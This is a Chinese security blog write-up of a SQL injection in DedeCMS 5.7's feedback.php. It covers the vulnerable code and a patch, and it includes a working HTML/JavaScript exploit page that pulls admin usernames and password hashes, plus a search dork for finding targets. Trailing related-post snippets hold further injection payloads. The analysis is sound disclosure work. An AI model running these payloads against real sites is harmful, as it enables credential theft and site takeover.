dedecms /plus/feedback.php SQL Injection Vul

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

1. Dedecms v5.7的plus\feedback.php SQL没有正确验证用户提供的输入,在实现上中存在注入漏洞
2. 攻击者可以利用DEDECMS的变量覆盖漏洞向数据库中注入WEBSHELL Payload
3. 在另一个代码流,攻击者可以触发二次注入

Relevant Link:

http://sebug.net/vuldb/ssvid-60549
http://www.venustech.com.cn/NewsInfo/124/17697.Html
http://www.sorry404.com/chengxuwenti/20140504/47.html

2. 漏洞触发条件

0x1: POC

<html>
<head>
<title>DedeCms v5.7 feedback.php exp</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<script language=‘javascript‘>
y = document.form1.addr.value;
function exploit()
{
        var yanzhen = document.getElementById("yanzhen").value;
        var aid = document.getElementById("aid").value;
        var sqli = document.getElementById("sqli").value;
        document.form1.typeid.value = "0‘,‘3‘,‘4‘,‘5‘,‘0‘,‘1351739660‘, ‘0‘,‘0‘,‘0‘,‘0‘,‘0‘,‘aaaaaa‘), (‘" + aid +"‘,‘2‘,@`‘`,‘4‘,‘5‘,‘1‘,‘1351739660‘, ‘0‘,‘0‘,‘0‘,‘0‘,‘0‘,"+sqli+")#";
        document.form1.action = document.form1.addr.value + "/plus/feedback.php";
        document.form1.te.name = "action";
        document.form1.submit();
}
function getyanzhen()
{
        var x = "<img src=‘"+ document.form1.addr.value +"/include/vdimgck.php‘ width=‘60‘ height=‘24‘ onclick=\"this.src=this.src+‘?‘\">";
        document.body.innerHTML+=x;
        document.form1.addr.value = y;
}
function look()
{
        window.location.href = document.form1.addr.value+"/plus/feedback.php?aid="+document.getElementById("aid").value;
}
</script>
</head>
<body>
############################################################<br/>
DedeCms v5.7 feedback.php $typeid SQLi<br/>
Dork:inurl:plus/feedback.php?aid=<br/>
############################################################<br/><br/>
<form action="xxx" method="get" name="form1" target="_blank">
程序URL:<input type="text" id="addr" value="http://" /><br/>
验证码:<input type="text" name="validate" id="yanzhen" value=""/><br/>
存在的Aid:<input type="text" id="aid" value="1"/><br/>
SQL注入语句:<input type="text" id="sqli" value="(SELECT concat(uname,0x5f,pwd,0x5f) FROM `dede_admin`)" style="width:500px;"/><br/>
<input type="hidden" name="" id="te" value="send"/>
<input type="hidden" name="comtype" value="comments"/>
<input type="hidden" name="fid" value="1"/>
<input type="hidden" name="isconfirm" value="yes"/>
<input type="hidden" name="msg" value="90sec"/>
<input type="hidden" name="typeid" value=""/>
<input type="button" onclick="getyanzhen();" value="获取验证码">
<input type="button" onClick="exploit()" value="#Exploit#" />
<input type="button" onClick="look()" value="查看结果" /><br/>
</form>
</body>
</html>

Relevant Link:

http://www.oday.pw/WEBanquan/111312.html

3. 漏洞影响范围

<= dedecms 5.7

4. 漏洞代码分析

\plus\feedback.php

..
//保存评论内容
if($comtype == ‘comments‘)
{
    $arctitle = addslashes($title);
    if($msg!=‘‘)
    {
        //$typeid变量未做初始化
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
           VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘, ‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘); ";
        $rs = $dsql->ExecuteNoneQuery($inquery);
        if(!$rs)
        {
            ShowMsg(‘ 发表评论错误! ‘, ‘-1‘);
            //echo $dsql->GetError();
            exit();
        }
    }
}
//引用回复
elseif ($comtype == ‘reply‘)
{
    $row = $dsql->GetOne("Select * from `#@__feedback` where id =‘$fid‘");
    //未对数据库查询的$row[‘arctitle‘]进行有效过滤,造成二次注入
    $arctitle = $row[‘arctitle‘];
    $aid =$row[‘aid‘];
    $msg = $quotemsg.$msg;
    $msg = HtmlReplace($msg,2);
    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
            VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘,‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘)";
    $dsql->ExecuteNoneQuery($inquery);
}
..

Relevant Link:

http://www.yunsec.net/a/security/web/jbst/2012/1103/11816.html

5. 防御方法

\plus\feedback.php

//保存评论内容
    if($comtype == ‘comments‘)
    {
        $arctitle = addslashes($title);
        /* 增加规范化、过滤逻辑 */
        $typeid = intval($typeid);
        $ischeck = intval($ischeck);
        $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
        /**/

        if($msg!=‘‘)
        {
            //$typeid变量未做初始化
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘, ‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘); ";
            $rs = $dsql->ExecuteNoneQuery($inquery);
            if(!$rs)
            {
                ShowMsg(‘ 发表评论错误! ‘, ‘-1‘);
                //echo $dsql->GetError();
                exit();
            }
        }
    }
    //引用回复
    elseif ($comtype == ‘reply‘)
    {
        $row = $dsql->GetOne("Select * from `#@__feedback` where id =‘$fid‘");
        //未对数据库查询的$row[‘arctitle‘]进行有效过滤,造成二次注入
        $arctitle = $row[‘arctitle‘];
        /* 增加转义逻辑 */
        $arctitle = addslashes($row[‘arctitle‘]);
        /* */

        $aid =$row[‘aid‘];
        $msg = $quotemsg.$msg;
        $msg = HtmlReplace($msg,2);
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES (‘$aid‘,‘$typeid‘,‘$username‘,‘$arctitle‘,‘$ip‘,‘$ischeck‘,‘$dtime‘,‘{$cfg_ml->M_ID}‘,‘0‘,‘0‘,‘$feedbacktype‘,‘$face‘,‘$msg‘)";
        $dsql->ExecuteNoneQuery($inquery);
    }

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

时间: 2024-10-11 09:14:11

dedecms /plus/feedback.php SQL Injection Vul的相关文章

dedecms /member/myfriend_group.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http://exp.03sec.com/dedecms-%E4%BC%9A%E5%91%98%E4%B8%AD%E5%BF%83%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E10.shtml 2. 漏洞触发条件 1. 先打开: http://127.0.0.1/dedec

dedecms /member/flink_main.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link http://www.cnseay.com/1959/ 2. 漏洞触发条件 1. 打开 http://127.0.0.1/dedecms/member/flink_main.php# 2. 在连接网址里面写入 http://sss2'),(8,1,@`'`),(8,(select user()),'33

dedecms /member/pm.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http://www.05112.com/anquan/ldfb/sql/2014/0209/7723.html 2. 漏洞触发条件 0x1: POC1 http://127.0.0.1/dedecms5.5/member/pm.php?dopost=read&id=1' and char(@`'`

dedecms \plus\guestbook.php SQL Injection Vul By \plus\guestbook\edit.inc.php

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 注射漏洞成功需要条件如下 1. php magic_quotes_gpc=off 2. 漏洞文件存在: plus/guestbook.php 3. 在数据库中: dede_guestbook也需要存在 Relevant Link: inurl:/plus/guestbook.php 2. 漏洞触发条件 1. http://localhost/dedecms5

dedecms /member/uploads_edit.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Dedecms 5.3版本下的member/uploads_edit.php中的未限制文件上传漏洞允许远程攻击者通过上传一个有两个扩展的文件名的文件,然后借助未知向量访问该文件而执行任意代码.这已经通过带.jpg.php的文件名所证实 Relevant Link: http://cve.scap.org.cn/CVE-2009-2270.html http:

dedecms /member/mtypes.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Dedecms会员中心注入漏洞 Relevant Link http://www.yunsec.net/a/security/bugs/script/2012/1220/12127.html 2. 漏洞触发条件 因为是update注入,并且用了>ExecuteNoneQuery所以不能采用benchmark延时注入,但是可以通过一个"返回状态差异&qu

dedecms /member/edit_baseinfo.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 会员模块中存在的SQL注入 Relevant Link: http://www.grabsun.com/article/2015/1216455.html 2. 漏洞触发条件 1. 注册用户并且登陆 2. 打开http://127.0.0.1/dedecms5.5/member/edit_baseinfo.php 3. 填写完毕后,输入验证码,点击提交,打开

ecshop /search.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 Relevant Link: http://sebug.net/vuldb/ssvid-62317 2. 漏洞触发条件 0x1: POC <?php ini_set("max_execution_time",0); error_reporting(7); function

ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出key键注入 Relevant Link: http://bbs.ecshop.com/thread-150545-1-1.html 2. 漏洞触发条件 1. /pick_out.php漏洞未修复 2. magic_quotes_gpc = Off 0x1: POC #!/usr/bin